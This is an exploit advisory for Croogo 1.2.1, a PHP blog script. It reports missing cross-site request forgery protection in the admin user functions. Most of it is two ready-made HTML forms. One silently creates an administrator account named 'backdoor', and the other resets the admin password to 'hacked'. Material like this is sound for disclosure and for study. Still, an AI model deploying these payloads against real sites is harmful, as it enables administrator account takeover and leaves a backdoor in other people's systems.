Croogo 1.2.1 - Multiple Cross-Site Request Forgery Vulnerabilities

[#-----------------------------------------------------------------------------------------------#]
[#] Title: Croogo 1.2.1 Multiple CSRF Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail[dot]com
[#] Date: 07. February 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Croogo
[#] Version: 1.2.1
[#] Platform: PHP
[#] Site: http://www.croogo.org
[#] Download: http://croogo.googlecode.com/files/croogo-1.2.1.zip
[#] Vulnerability: Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

Croogo blog script lacks of cross site request forgery protection,
allowing us to make exploit to add new admin user or change existing
admin password.

[#]Content
 |--CSRF
    |--Add Administrator
    |--Change Administrators Password

[*] Add Administrator

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="/localhost/cro/admin/users/add" method="post">
  <input type="hidden" name="_method" value="POST"/>
  <input type="hidden" name="data[User][role_id]" value="1"/>
  <input type="hidden" name="data[User][username]" value="backdoor"/>
  <input type="hidden" name="data[User][password]" value="hacked"/>
  <input type="hidden" name="data[User][name]" value="thisismyname"/>
  <input type="hidden" name="data[User][email]" value="[email protected]"/>
  <input type="hidden" name="data[User][website]" value="website"/>
  <input type="hidden" name="data[User][status]" value="1"/>
  <input type="submit" name="submit" value="Submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[*] Change Administrators Password

In this exploit 1 is the ID of the admin user that we want to edit.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="/localhost/cro/admin/users/reset_password/1" method="post">
  <input type="hidden" name="_method" value="PUT"/>
  <input type="hidden" name="data[User][id]" value="1"/>
  <input type="hidden" name="data[User][username]" value="admin"/>
  <input type="hidden" name="data[User][password]" value="hacked"/>
  <input type="submit" name="submit" value="Submit"/>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF